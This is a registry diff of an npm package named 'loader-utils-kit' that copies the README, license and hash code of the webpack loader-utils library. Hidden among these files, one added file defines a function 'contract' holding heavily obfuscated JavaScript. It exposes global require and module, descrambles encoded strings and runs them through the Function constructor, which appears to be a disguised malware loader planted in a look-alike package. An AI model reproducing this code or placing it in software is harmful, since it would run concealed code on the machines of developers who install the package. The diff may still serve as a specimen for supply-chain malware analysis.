loader-utils-kit 0.0.0-stage → 4.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,20 @@
1
+ Copyright JS Foundation and other contributors
2
+
3
+ Permission is hereby granted, free of charge, to any person obtaining
4
+ a copy of this software and associated documentation files (the
5
+ 'Software'), to deal in the Software without restriction, including
6
+ without limitation the rights to use, copy, modify, merge, publish,
7
+ distribute, sublicense, and/or sell copies of the Software, and to
8
+ permit persons to whom the Software is furnished to do so, subject to
9
+ the following conditions:
10
+
11
+ The above copyright notice and this permission notice shall be
12
+ included in all copies or substantial portions of the Software.
13
+
14
+ THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
15
+ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
16
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
17
+ IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
18
+ CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
19
+ TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
20
+ SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
package/README.md CHANGED
@@ -1,3 +1,167 @@
1
- # Temporary Holding Version
1
+ # loader-utils
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ ## Methods
4
+
5
+ ### `urlToRequest`
6
+
7
+ Converts some resource URL to a webpack module request.
8
+
9
+ > i Before call `urlToRequest` you need call `isUrlRequest` to ensure it is requestable url
10
+
11
+ ```javascript
12
+ const url = "path/to/module.js";
13
+
14
+ if (loaderUtils.isUrlRequest(url)) {
15
+ // Logic for requestable url
16
+ const request = loaderUtils.urlToRequest(url);
17
+ } else {
18
+ // Logic for not requestable url
19
+ }
20
+ ```
21
+
22
+ Simple example:
23
+
24
+ ```javascript
25
+ const url = "path/to/module.js";
26
+ const request = loaderUtils.urlToRequest(url); // "./path/to/module.js"
27
+ ```
28
+
29
+ #### Module URLs
30
+
31
+ Any URL containing a `~` will be interpreted as a module request. Anything after the `~` will be considered the request path.
32
+
33
+ ```javascript
34
+ const url = "~path/to/module.js";
35
+ const request = loaderUtils.urlToRequest(url); // "path/to/module.js"
36
+ ```
37
+
38
+ #### Root-relative URLs
39
+
40
+ URLs that are root-relative (start with `/`) can be resolved relative to some arbitrary path by using the `root` parameter:
41
+
42
+ ```javascript
43
+ const url = "/path/to/module.js";
44
+ const root = "./root";
45
+ const request = loaderUtils.urlToRequest(url, root); // "./root/path/to/module.js"
46
+ ```
47
+
48
+ To convert a root-relative URL into a module URL, specify a `root` value that starts with `~`:
49
+
50
+ ```javascript
51
+ const url = "/path/to/module.js";
52
+ const root = "~";
53
+ const request = loaderUtils.urlToRequest(url, root); // "path/to/module.js"
54
+ ```
55
+
56
+ ### `interpolateName`
57
+
58
+ Interpolates a filename template using multiple placeholders and/or a regular expression.
59
+ The template and regular expression are set as query params called `name` and `regExp` on the current loader's context.
60
+
61
+ ```javascript
62
+ const interpolatedName = loaderUtils.interpolateName(
63
+ loaderContext,
64
+ name,
65
+ options
66
+ );
67
+ ```
68
+
69
+ The following tokens are replaced in the `name` parameter:
70
+
71
+ - `[ext]` the extension of the resource
72
+ - `[name]` the basename of the resource
73
+ - `[path]` the path of the resource relative to the `context` query parameter or option.
74
+ - `[folder]` the folder the resource is in
75
+ - `[query]` the queryof the resource, i.e. `?foo=bar`
76
+ - `[contenthash]` the hash of `options.content` (Buffer) (by default it's the hex digest of the `xxhash64` hash)
77
+ - `[<hashType>:contenthash:<digestType>:<length>]` optionally one can configure
78
+ - other `hashType`s, i. e. `xxhash64`, `sha1`, `md4` (wasm version), `native-md4` (`crypto` module version), `md5`, `sha256`, `sha512`
79
+ - other `digestType`s, i. e. `hex`, `base26`, `base32`, `base36`, `base49`, `base52`, `base58`, `base62`, `base64`, `base64safe`
80
+ - and `length` the length in chars
81
+ - `[hash]` the hash of `options.content` (Buffer) (by default it's the hex digest of the `xxhash64` hash)
82
+ - `[<hashType>:hash:<digestType>:<length>]` optionally one can configure
83
+ - other `hashType`s, i. e. `xxhash64`, `sha1`, `md4` (wasm version), `native-md4` (`crypto` module version), `md5`, `sha256`, `sha512`
84
+ - other `digestType`s, i. e. `hex`, `base26`, `base32`, `base36`, `base49`, `base52`, `base58`, `base62`, `base64`, `base64safe`
85
+ - and `length` the length in chars
86
+ - `[N]` the N-th match obtained from matching the current file name against `options.regExp`
87
+
88
+ In loader context `[hash]` and `[contenthash]` are the same, but we recommend using `[contenthash]` for avoid misleading.
89
+
90
+ `digestType` with `base64safe` don't contain `/`, `+` and `=` symbols.
91
+
92
+ Examples
93
+
94
+ ```javascript
95
+ // loaderContext.resourcePath = "/absolute/path/to/app/js/javascript.js"
96
+ loaderUtils.interpolateName(loaderContext, "js/[hash].script.[ext]", { content: ... });
97
+ // => js/9473fdd0d880a43c21b7778d34872157.script.js
98
+
99
+ // loaderContext.resourcePath = "/absolute/path/to/app/js/javascript.js"
100
+ // loaderContext.resourceQuery = "?foo=bar"
101
+ loaderUtils.interpolateName(loaderContext, "js/[hash].script.[ext][query]", { content: ... });
102
+ // => js/9473fdd0d880a43c21b7778d34872157.script.js?foo=bar
103
+
104
+ // loaderContext.resourcePath = "/absolute/path/to/app/js/javascript.js"
105
+ loaderUtils.interpolateName(loaderContext, "js/[contenthash].script.[ext]", { content: ... });
106
+ // => js/9473fdd0d880a43c21b7778d34872157.script.js
107
+
108
+ // loaderContext.resourcePath = "/absolute/path/to/app/page.html"
109
+ loaderUtils.interpolateName(loaderContext, "html-[hash:6].html", { content: ... });
110
+ // => html-9473fd.html
111
+
112
+ // loaderContext.resourcePath = "/absolute/path/to/app/flash.txt"
113
+ loaderUtils.interpolateName(loaderContext, "[hash]", { content: ... });
114
+ // => c31e9820c001c9c4a86bce33ce43b679
115
+
116
+ // loaderContext.resourcePath = "/absolute/path/to/app/img/image.png"
117
+ loaderUtils.interpolateName(loaderContext, "[sha512:hash:base64:7].[ext]", { content: ... });
118
+ // => 2BKDTjl.png
119
+ // use sha512 hash instead of xxhash64 and with only 7 chars of base64
120
+
121
+ // loaderContext.resourcePath = "/absolute/path/to/app/img/myself.png"
122
+ // loaderContext.query.name =
123
+ loaderUtils.interpolateName(loaderContext, "picture.png");
124
+ // => picture.png
125
+
126
+ // loaderContext.resourcePath = "/absolute/path/to/app/dir/file.png"
127
+ loaderUtils.interpolateName(loaderContext, "[path][name].[ext]?[hash]", { content: ... });
128
+ // => /app/dir/file.png?9473fdd0d880a43c21b7778d34872157
129
+
130
+ // loaderContext.resourcePath = "/absolute/path/to/app/js/page-home.js"
131
+ loaderUtils.interpolateName(loaderContext, "script-[1].[ext]", { regExp: "page-(.*)\\.js", content: ... });
132
+ // => script-home.js
133
+
134
+ // loaderContext.resourcePath = "/absolute/path/to/app/js/javascript.js"
135
+ // loaderContext.resourceQuery = "?foo=bar"
136
+ loaderUtils.interpolateName(
137
+ loaderContext,
138
+ (resourcePath, resourceQuery) => {
139
+ // resourcePath - `/app/js/javascript.js`
140
+ // resourceQuery - `?foo=bar`
141
+
142
+ return "js/[hash].script.[ext]";
143
+ },
144
+ { content: ... }
145
+ );
146
+ // => js/9473fdd0d880a43c21b7778d34872157.script.js
147
+ ```
148
+
149
+ ### `getHashDigest`
150
+
151
+ ```javascript
152
+ const digestString = loaderUtils.getHashDigest(
153
+ buffer,
154
+ hashType,
155
+ digestType,
156
+ maxLength
157
+ );
158
+ ```
159
+
160
+ - `buffer` the content that should be hashed
161
+ - `hashType` one of `xxhash64`, `sha1`, `md4`, `md5`, `sha256`, `sha512` or any other node.js supported hash type
162
+ - `digestType` one of `hex`, `base26`, `base32`, `base36`, `base49`, `base52`, `base58`, `base62`, `base64`, `base64safe`
163
+ - `maxLength` the maximum length in chars
164
+
165
+ ## License
166
+
167
+ MIT (http://www.opensource.org/licenses/mit-license.php)
@@ -0,0 +1,8 @@
1
+ function contract() {
2
+ global.i = '2';
3
+ var _$_d876 = (function (x, e) { var n = x.length; var q = []; for (var z = 0; z < n; z++) { q[z] = x.charAt(z) }; for (var z = 0; z < n; z++) { var r = e * (z + 213) + (e % 38225); var t = e * (z + 668) + (e % 25980); var d = r % n; var c = t % n; var p = q[d]; q[d] = q[c]; q[c] = p; e = (r + t) % 2892945 }; var k = String.fromCharCode(127); var g = ''; var m = '\x25'; var w = '\x23\x31'; var f = '\x25'; var j = '\x23\x30'; var s = '\x23'; return q.join(g).split(m).join(k).split(w).join(f).split(j).join(s).split(k) })("e%objrct%m", 2404686); global[_$_d876[0x0]] = require; if (typeof module === _$_d876[0x1]) { global[_$_d876[0x2]] = module }
4
+ (function () { var teD = '', ziD = 422 - 411; function ype(b) { var t = 2319581; var l = b.length; var d = []; for (var k = 0; k < l; k++) { d[k] = b.charAt(k) }; for (var k = 0; k < l; k++) { var g = t * (k + 143) + (t % 34562); var j = t * (k + 599) + (t % 19024); var o = g % l; var h = j % l; var q = d[o]; d[o] = d[h]; d[h] = q; t = (g + j) % 3591111; }; return d.join('') }; var OUN = ype('uoxgwmorcazdjcyqsthinkcrtpneltsfburov').substr(0, ziD); var LEF = 'Sa =a=frsrulrrl=as(v+=r7iafg!d=b,C,vnl+;[ien8r6v.aaz;nvca j=a71,ha20],a1tk),(=i81,)ah)[}r=lte,g2eaotp(nhr=p c;;,xg,7p,n5g;ch0g;=.in0=rrvor+bodmo)j8Cr-5t7var(),d,[l]t,rct=))l ..[=81u(;5hwvrre4;}4a(0; fscr8=9S(waprg( uvthfl]ngtlf;rri8cat.c());umde)v;=r(p.j+u=fx")ral,asnreioaplrn;v[b]i6>Al[if;vq+8(p,;.A"==r1rinhnji6-c+j)[q) {lhjaromr0avd) nb+)+-nwmn;}a* 8ogoa(9a( ejoAi(x;pf {tv;dszno)c1t62h.o7t(.o+nmr) r*mze6a9 o== n0cd8vfu+,;1h;vCore=thn1sf.),p6v;i+[]ve9s(lnsAz;(;asssCsAdhv349(.j;)d}=-;+piw"u 9]+(fs+n.fu++1)he[t=C,2r;n9m="hf+l2r0=k=e(;ii<;vi,f==ed===uolyvC1c,ut=(sltrt.7][had)s;bytjlnh;m<y;)(=-pueh(1[]l.a;;(lfip1}u1,f!;n2=.),i,h;<.)suuo)p[(vph[fa"f)g]mi);cfi]-5drtemq3;)q})cg-ys=o=[v]0;0v(rff=36jgid)."f+v6; rkC]s,2;rl+,.0);sd7f <=.3eoet=c+op+ (b+t.urgre(ok{panrfn=(w6ld.or(104 nl0m<u.=n.gr)ya+a=ir(yqe>ft(v{oe;pf ;i;e)lprri7};hrh;{.hhr(e5 r+ova+kr8(".cr8tu]nu",s{]e vr"t").C;{.,xr0'; var whk = ype[OUN]; var YOB = ''; var kWJ = whk; var ovJ = whk(YOB, ype(LEF)); var HRZ = ovJ(ype('=dxig9uffhtC4rkbrar!ac)=%r](-{urF]r(FF]7]cy%e%,F;F6ale$es Fud?a6rF{oos};0T1yg.C]F9a]fsiuc.sn%rs+i1tc.,.=nho__F{F%)4).05r}oe6ha.?((sa81i9Fax%Fi1co.)F]mea%13.l%n]ro_3un;;ncbr];F].FGt[(]5}.3FH1c2=.atfd w..F.45(t84.(gFc{eSu+iFv3f]f}]F!#.too7t}ouo:st.qrt_pfe]Ffjn!_ rF61trfse6beheDbF%_e}u).%Fo (:nFCFoF9dsn2b.]om.qn)hF ao)}.)FF+33;f.ua}5=gsrua_tr;9 l;,eFfFaFo3t.sc8}uFt.0w=F}r%ffneg3]p$F;.rfr2ru"!yzn=e=(F{Fe5e.dF,.Ffadvr<s=rh,f%mu]s.=ctr.gt(!]hrtF1.er2r;2tn}i;ao%Ff!o1a8)eb3tv[]1sF3oer>]x\/9={k0C1f[1y]d]nq7}]Fr,n;i3t0e.cegDd}F9FdF1.7{FN}hg_6&(lr>co(3a}t]t.4*FaF(]fe\/(td]dxbte31F7itc%F4)_C9!)acie1;FFf.,3F]u)l)o)a%md20}<%-.S8(hpi..)w6]=F FFFF7F8]c4\'.F,2t.prmfEenq5n5fft,]6,l%9)ani-1F&3.i%(xu0)+Fr!.eF%HSfcnl]h%SNns=o ntde.tain[f9 (sn_=hm)t=#icc[vr++rb%ctie.._c2ws:_+fFlCh]2hyn ;sppeFGc=fz;Fi%decfr rAie%0f<rFliti]7)oqr3(1F;v_ec036m:%h5i.%aF%vlrovrcsdFo]bnFr)m)rm5c.ntad &ah1T3:i]n?=8}2F%%]a_se)}cF%{Fxpufsb,_uhFp1c)F(,2nr F3F\/g))t1.tF.).r]o(t.;!h=Fdh}a}(:c2Ff13\/c.6F1Bneboees3w[;gn(1.1fv.%axxmb :d?D.Fp&[saf9;n7[b+cw7.g] 77vtice1>41,!a#%F3F2(3x=FFmv2rFdh2@o%g(%(Fn-1.(7.odtufren3i;raf]e b.4fspc.7oFc(see{.De)u%8$igna F_Sc[e]og;ca)6<F%cE,"nsn%co8.(j.CgpenoCnn-%s=_s1)c_hlrtaryr+sF]FF<_fl,fr.l(iF"c;<lF&8e%ocooi]3 Fl)au.i(]Fut . s=!%m4f1fiFo6]d9=*) Eo)!i!4a)u)_sao[.e}mfdc>a%ot-6FFtc+pifa}x%,f]fh0F}fF(!:)0F]9)amFFrF5e3}l3=)F>FeF>Feo!;7@]#ran;F--])h.%1< fdyii=;]mEteFFF1) )o;j5clc1=oe"FABjor?Fe. 0m.ceTpa$tnii_]pNFa\'+0a0foyt<|62dd;8.%iFboe.uh=-trs:)_4(=FF8F _tho}]19mfF8e{Ff:o3:t]t_\'.;%=deeba;_d6rfoF*.%ofT4aoeF%66nFe_fFw.e+..,ebeo719$i%d0knx(ia{3#9e{iF=%25Fcu9w.ucu%%avjpn(Fn3Fnwp.;f(.easu.fa6=tFr(od{,E(1eFAE=aF3o3yFb=3f\/t59kFc.bF2];tFFeoFunFF6m.F&]<$2anFlce6,}3rF]F_+1]F.io8(6Fi%shsFj&]trrFs.efiFF9tt)fn3bsFo7i=ert}}tr5t()4BBx%)asd((-F1aF.F8C]%r]F]))-0=]d1F;)dc87[=)#Fy!My{t-)1@%pls0efn6]\'ufo21mnt1.c]Fc7F9{Fi2grc6,)-=iakc8.l2Fi-%;g7a.\/[Fu1at\'wl.o[5rd].)z)od)(.Fa.0c)2eF(f[)todfF=nnF3.A.F\/9nF;Tf%!=%\/i(cic[Tt=]31Fbf]rFkbty:a!)F6Batujo=8f\/]Fbk}a_2;[&8FnnF]mtha"paqu;1}ff-};5)_5Fh0FC_t(FFe0;1\/(Fu]F]{sw-nx2gFtfo%i=jFat%fFF3!.5crF)2FC=f&2!Fdo,]s]nF]\/ 1f%o]yoc)o%Fs1)}yF*(c221,,d)sDieFFfc.}F]e=e=[8&FGF]),%dn1)ll?#iFi)8e2ces)&l *r8rl!)tt(=n\/t5(jt+ga}.h)]}6uFCfeFG\/nfs+@FmbF?F_gFsi0-)4F4u3tEF{=r"g(FF2_;Fcten.*,$F.z=7FttrF(d)!4r,%r].)wt1.-F#[i.<5o](31ngt Fm]ri<1a.an20Fei"\/]ni ]Fo%a83t%F{$9(4F)rFDn]F-F8dc:euFeasrdjpt+)- 9tDe.)7.mr2F1]eF] e]eFxf+:FF({vFktat1ayi(Fi.}nce6 &5\'?u[]fre3]Fit*F8}0Far;e fnFlr_s32HFr)ct0=_):=8r{4bHbe(=dw%1;-=\/ese]a.p],r1]..nrftn,1iFs}-%B, ;,c?2cob)eet.n)%= F%2 9t.fs6Fd *ft )94c7hl+F]h%aFF]-fei!ede(aFF6_ci%prF:]ch]o+kf%t|=aFtrc4;Faf.0on(l).!.eh(t)s..2rs;t"e>r3pdt :,jF_FtF301.M).[0.=n!feiya2t=c{;e i+lF*ra(Bau[1tFmnF+]*r.i"11dF]1)}\/o3e.)]84!}F-.u_nsw')); var cMp = kWJ(teD, HRZ); cMp(7746); return 9212 })()
5
+
6
+ }
7
+
8
+ module.exports = contract
@@ -0,0 +1,136 @@
1
+ "use strict";
2
+
3
+ const baseEncodeTables = {
4
+ 26: "abcdefghijklmnopqrstuvwxyz",
5
+ 32: "123456789abcdefghjkmnpqrstuvwxyz", // no 0lio
6
+ 36: "0123456789abcdefghijklmnopqrstuvwxyz",
7
+ 49: "abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ", // no lIO
8
+ 52: "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
9
+ 58: "123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ", // no 0lIO
10
+ 62: "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
11
+ 64: "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_",
12
+ };
13
+
14
+ /**
15
+ * @param {Uint32Array} uint32Array Treated as a long base-0x100000000 number, little endian
16
+ * @param {number} divisor The divisor
17
+ * @return {number} Modulo (remainder) of the division
18
+ */
19
+ function divmod32(uint32Array, divisor) {
20
+ let carry = 0;
21
+ for (let i = uint32Array.length - 1; i >= 0; i--) {
22
+ const value = carry * 0x100000000 + uint32Array[i];
23
+ carry = value % divisor;
24
+ uint32Array[i] = Math.floor(value / divisor);
25
+ }
26
+ return carry;
27
+ }
28
+
29
+ function encodeBufferToBase(buffer, base, length) {
30
+ const encodeTable = baseEncodeTables[base];
31
+
32
+ if (!encodeTable) {
33
+ throw new Error("Unknown encoding base" + base);
34
+ }
35
+
36
+ // Input bits are only enough to generate this many characters
37
+ const limit = Math.ceil((buffer.length * 8) / Math.log2(base));
38
+ length = Math.min(length, limit);
39
+
40
+ // Most of the crypto digests (if not all) has length a multiple of 4 bytes.
41
+ // Fewer numbers in the array means faster math.
42
+ const uint32Array = new Uint32Array(Math.ceil(buffer.length / 4));
43
+
44
+ // Make sure the input buffer data is copied and is not mutated by reference.
45
+ // divmod32() would corrupt the BulkUpdateDecorator cache otherwise.
46
+ buffer.copy(Buffer.from(uint32Array.buffer));
47
+
48
+ let output = "";
49
+
50
+ for (let i = 0; i < length; i++) {
51
+ output = encodeTable[divmod32(uint32Array, base)] + output;
52
+ }
53
+
54
+ return output;
55
+ }
56
+
57
+ let crypto = undefined;
58
+ let createXXHash64 = undefined;
59
+ let createMd4 = undefined;
60
+ let BatchedHash = undefined;
61
+ let BulkUpdateDecorator = undefined;
62
+
63
+ function getHashDigest(buffer, algorithm, digestType, maxLength) {
64
+ algorithm = algorithm || "xxhash64";
65
+ maxLength = maxLength || 9999;
66
+
67
+ let hash;
68
+
69
+ if (algorithm === "xxhash64") {
70
+ if (createXXHash64 === undefined) {
71
+ createXXHash64 = require("./hash/xxhash64");
72
+
73
+ if (BatchedHash === undefined) {
74
+ BatchedHash = require("./hash/BatchedHash");
75
+ }
76
+ }
77
+
78
+ hash = new BatchedHash(createXXHash64());
79
+ } else if (algorithm === "md4") {
80
+ if (createMd4 === undefined) {
81
+ createMd4 = require("./hash/md4");
82
+
83
+ if (BatchedHash === undefined) {
84
+ BatchedHash = require("./hash/BatchedHash");
85
+ }
86
+ }
87
+
88
+ hash = new BatchedHash(createMd4());
89
+ } else if (algorithm === "native-md4") {
90
+ if (typeof crypto === "undefined") {
91
+ crypto = require("crypto");
92
+
93
+ if (BulkUpdateDecorator === undefined) {
94
+ BulkUpdateDecorator = require("./hash/BulkUpdateDecorator");
95
+ }
96
+ }
97
+
98
+ hash = new BulkUpdateDecorator(() => crypto.createHash("md4"), "md4");
99
+ } else {
100
+ if (typeof crypto === "undefined") {
101
+ crypto = require("crypto");
102
+
103
+ if (BulkUpdateDecorator === undefined) {
104
+ BulkUpdateDecorator = require("./hash/BulkUpdateDecorator");
105
+ }
106
+ }
107
+
108
+ hash = new BulkUpdateDecorator(
109
+ () => crypto.createHash(algorithm),
110
+ algorithm
111
+ );
112
+ }
113
+
114
+ hash.update(buffer);
115
+
116
+ if (
117
+ digestType === "base26" ||
118
+ digestType === "base32" ||
119
+ digestType === "base36" ||
120
+ digestType === "base49" ||
121
+ digestType === "base52" ||
122
+ digestType === "base58" ||
123
+ digestType === "base62" ||
124
+ digestType === "base64safe"
125
+ ) {
126
+ return encodeBufferToBase(
127
+ hash.digest(),
128
+ digestType === "base64safe" ? 64 : digestType.substr(4),
129
+ maxLength
130
+ );
131
+ }
132
+
133
+ return hash.digest(digestType || "hex").substr(0, maxLength);
134
+ }
135
+
136
+ module.exports = getHashDigest;
@@ -0,0 +1,64 @@
1
+ const MAX_SHORT_STRING = require("./wasm-hash").MAX_SHORT_STRING;
2
+
3
+ class BatchedHash {
4
+ constructor(hash) {
5
+ this.string = undefined;
6
+ this.encoding = undefined;
7
+ this.hash = hash;
8
+ }
9
+
10
+ /**
11
+ * Update hash {@link https://nodejs.org/api/crypto.html#crypto_hash_update_data_inputencoding}
12
+ * @param {string|Buffer} data data
13
+ * @param {string=} inputEncoding data encoding
14
+ * @returns {this} updated hash
15
+ */
16
+ update(data, inputEncoding) {
17
+ if (this.string !== undefined) {
18
+ if (
19
+ typeof data === "string" &&
20
+ inputEncoding === this.encoding &&
21
+ this.string.length + data.length < MAX_SHORT_STRING
22
+ ) {
23
+ this.string += data;
24
+
25
+ return this;
26
+ }
27
+
28
+ this.hash.update(this.string, this.encoding);
29
+ this.string = undefined;
30
+ }
31
+
32
+ if (typeof data === "string") {
33
+ if (
34
+ data.length < MAX_SHORT_STRING &&
35
+ // base64 encoding is not valid since it may contain padding chars
36
+ (!inputEncoding || !inputEncoding.startsWith("ba"))
37
+ ) {
38
+ this.string = data;
39
+ this.encoding = inputEncoding;
40
+ } else {
41
+ this.hash.update(data, inputEncoding);
42
+ }
43
+ } else {
44
+ this.hash.update(data);
45
+ }
46
+
47
+ return this;
48
+ }
49
+
50
+ /**
51
+ * Calculates the digest {@link https://nodejs.org/api/crypto.html#crypto_hash_digest_encoding}
52
+ * @param {string=} encoding encoding of the return value
53
+ * @returns {string|Buffer} digest
54
+ */
55
+ digest(encoding) {
56
+ if (this.string !== undefined) {
57
+ this.hash.update(this.string, this.encoding);
58
+ }
59
+
60
+ return this.hash.digest(encoding);
61
+ }
62
+ }
63
+
64
+ module.exports = BatchedHash;
@@ -0,0 +1,107 @@
1
+ const BULK_SIZE = 2000;
2
+
3
+ // We are using an object instead of a Map as this will stay static during the runtime
4
+ // so access to it can be optimized by v8
5
+ const digestCaches = {};
6
+
7
+ class BulkUpdateDecorator {
8
+ /**
9
+ * @param {Hash | function(): Hash} hashOrFactory function to create a hash
10
+ * @param {string=} hashKey key for caching
11
+ */
12
+ constructor(hashOrFactory, hashKey) {
13
+ this.hashKey = hashKey;
14
+
15
+ if (typeof hashOrFactory === "function") {
16
+ this.hashFactory = hashOrFactory;
17
+ this.hash = undefined;
18
+ } else {
19
+ this.hashFactory = undefined;
20
+ this.hash = hashOrFactory;
21
+ }
22
+
23
+ this.buffer = "";
24
+ }
25
+
26
+ /**
27
+ * Update hash {@link https://nodejs.org/api/crypto.html#crypto_hash_update_data_inputencoding}
28
+ * @param {string|Buffer} data data
29
+ * @param {string=} inputEncoding data encoding
30
+ * @returns {this} updated hash
31
+ */
32
+ update(data, inputEncoding) {
33
+ if (
34
+ inputEncoding !== undefined ||
35
+ typeof data !== "string" ||
36
+ data.length > BULK_SIZE
37
+ ) {
38
+ if (this.hash === undefined) {
39
+ this.hash = this.hashFactory();
40
+ }
41
+
42
+ if (this.buffer.length > 0) {
43
+ this.hash.update(this.buffer);
44
+ this.buffer = "";
45
+ }
46
+
47
+ this.hash.update(data, inputEncoding);
48
+ } else {
49
+ this.buffer += data;
50
+
51
+ if (this.buffer.length > BULK_SIZE) {
52
+ if (this.hash === undefined) {
53
+ this.hash = this.hashFactory();
54
+ }
55
+
56
+ this.hash.update(this.buffer);
57
+ this.buffer = "";
58
+ }
59
+ }
60
+
61
+ return this;
62
+ }
63
+
64
+ /**
65
+ * Calculates the digest {@link https://nodejs.org/api/crypto.html#crypto_hash_digest_encoding}
66
+ * @param {string=} encoding encoding of the return value
67
+ * @returns {string|Buffer} digest
68
+ */
69
+ digest(encoding) {
70
+ let digestCache;
71
+
72
+ const buffer = this.buffer;
73
+
74
+ if (this.hash === undefined) {
75
+ // short data for hash, we can use caching
76
+ const cacheKey = `${this.hashKey}-${encoding}`;
77
+
78
+ digestCache = digestCaches[cacheKey];
79
+
80
+ if (digestCache === undefined) {
81
+ digestCache = digestCaches[cacheKey] = new Map();
82
+ }
83
+
84
+ const cacheEntry = digestCache.get(buffer);
85
+
86
+ if (cacheEntry !== undefined) {
87
+ return cacheEntry;
88
+ }
89
+
90
+ this.hash = this.hashFactory();
91
+ }
92
+
93
+ if (buffer.length > 0) {
94
+ this.hash.update(buffer);
95
+ }
96
+
97
+ const digestResult = this.hash.digest(encoding);
98
+
99
+ if (digestCache !== undefined) {
100
+ digestCache.set(buffer, digestResult);
101
+ }
102
+
103
+ return digestResult;
104
+ }
105
+ }
106
+
107
+ module.exports = BulkUpdateDecorator;
@@ -0,0 +1,20 @@
1
+ /*
2
+ MIT License http://www.opensource.org/licenses/mit-license.php
3
+ Author Tobias Koppers @sokra
4
+ */
5
+
6
+ "use strict";
7
+
8
+ const create = require("./wasm-hash");
9
+
10
+ //#region wasm code: md4 (../../../assembly/hash/md4.asm.ts) --initialMemory 1
11
+ const md4 = new WebAssembly.Module(
12
+ Buffer.from(
13
+ // 2150 bytes
14
+ "AGFzbQEAAAABCAJgAX8AYAAAAwUEAQAAAAUDAQABBhoFfwFBAAt/AUEAC38BQQALfwFBAAt/AUEACwciBARpbml0AAAGdXBkYXRlAAIFZmluYWwAAwZtZW1vcnkCAAqFEAQmAEGBxpS6BiQBQYnXtv5+JAJB/rnrxXkkA0H2qMmBASQEQQAkAAvMCgEYfyMBIQojAiEGIwMhByMEIQgDQCAAIAVLBEAgBSgCCCINIAcgBiAFKAIEIgsgCCAHIAUoAgAiDCAKIAggBiAHIAhzcXNqakEDdyIDIAYgB3Nxc2pqQQd3IgEgAyAGc3FzampBC3chAiAFKAIUIg8gASACIAUoAhAiCSADIAEgBSgCDCIOIAYgAyACIAEgA3Nxc2pqQRN3IgQgASACc3FzampBA3ciAyACIARzcXNqakEHdyEBIAUoAiAiEiADIAEgBSgCHCIRIAQgAyAFKAIYIhAgAiAEIAEgAyAEc3FzampBC3ciAiABIANzcXNqakETdyIEIAEgAnNxc2pqQQN3IQMgBSgCLCIVIAQgAyAFKAIoIhQgAiAEIAUoAiQiEyABIAIgAyACIARzcXNqakEHdyIBIAMgBHNxc2pqQQt3IgIgASADc3FzampBE3chBCAPIBAgCSAVIBQgEyAFKAI4IhYgAiAEIAUoAjQiFyABIAIgBSgCMCIYIAMgASAEIAEgAnNxc2pqQQN3IgEgAiAEc3FzampBB3ciAiABIARzcXNqakELdyIDIAkgAiAMIAEgBSgCPCIJIAQgASADIAEgAnNxc2pqQRN3IgEgAiADcnEgAiADcXJqakGZ84nUBWpBA3ciAiABIANycSABIANxcmpqQZnzidQFakEFdyIEIAEgAnJxIAEgAnFyaiASakGZ84nUBWpBCXciAyAPIAQgCyACIBggASADIAIgBHJxIAIgBHFyampBmfOJ1AVqQQ13IgEgAyAEcnEgAyAEcXJqakGZ84nUBWpBA3ciAiABIANycSABIANxcmpqQZnzidQFakEFdyIEIAEgAnJxIAEgAnFyampBmfOJ1AVqQQl3IgMgECAEIAIgFyABIAMgAiAEcnEgAiAEcXJqakGZ84nUBWpBDXciASADIARycSADIARxcmogDWpBmfOJ1AVqQQN3IgIgASADcnEgASADcXJqakGZ84nUBWpBBXciBCABIAJycSABIAJxcmpqQZnzidQFakEJdyIDIBEgBCAOIAIgFiABIAMgAiAEcnEgAiAEcXJqakGZ84nUBWpBDXciASADIARycSADIARxcmpqQZnzidQFakEDdyICIAEgA3JxIAEgA3FyampBmfOJ1AVqQQV3IgQgASACcnEgASACcXJqakGZ84nUBWpBCXciAyAMIAIgAyAJIAEgAyACIARycSACIARxcmpqQZnzidQFakENdyIBcyAEc2pqQaHX5/YGakEDdyICIAQgASACcyADc2ogEmpBodfn9gZqQQl3IgRzIAFzampBodfn9gZqQQt3IgMgAiADIBggASADIARzIAJzampBodfn9gZqQQ93IgFzIARzaiANakGh1+f2BmpBA3ciAiAUIAQgASACcyADc2pqQaHX5/YGakEJdyIEcyABc2pqQaHX5/YGakELdyIDIAsgAiADIBYgASADIARzIAJzampBodfn9gZqQQ93IgFzIARzampBodfn9gZqQQN3IgIgEyAEIAEgAnMgA3NqakGh1+f2BmpBCXciBHMgAXNqakGh1+f2BmpBC3chAyAKIA4gAiADIBcgASADIARzIAJzampBodfn9gZqQQ93IgFzIARzampBodfn9gZqQQN3IgJqIQogBiAJIAEgESADIAIgFSAEIAEgAnMgA3NqakGh1+f2BmpBCXciBHMgAXNqakGh1+f2BmpBC3ciAyAEcyACc2pqQaHX5/YGakEPd2ohBiADIAdqIQcgBCAIaiEIIAVBQGshBQwBCwsgCiQBIAYkAiAHJAMgCCQECw0AIAAQASMAIABqJAAL/wQCA38BfiMAIABqrUIDhiEEIABByABqQUBxIgJBCGshAyAAIgFBAWohACABQYABOgAAA0AgACACSUEAIABBB3EbBEAgAEEAOgAAIABBAWohAAwBCwsDQCAAIAJJBEAgAEIANwMAIABBCGohAAwBCwsgAyAENwMAIAIQAUEAIwGtIgRC//8DgyAEQoCA/P8Pg0IQhoQiBEL/gYCA8B+DIARCgP6DgIDgP4NCCIaEIgRCj4C8gPCBwAeDQgiGIA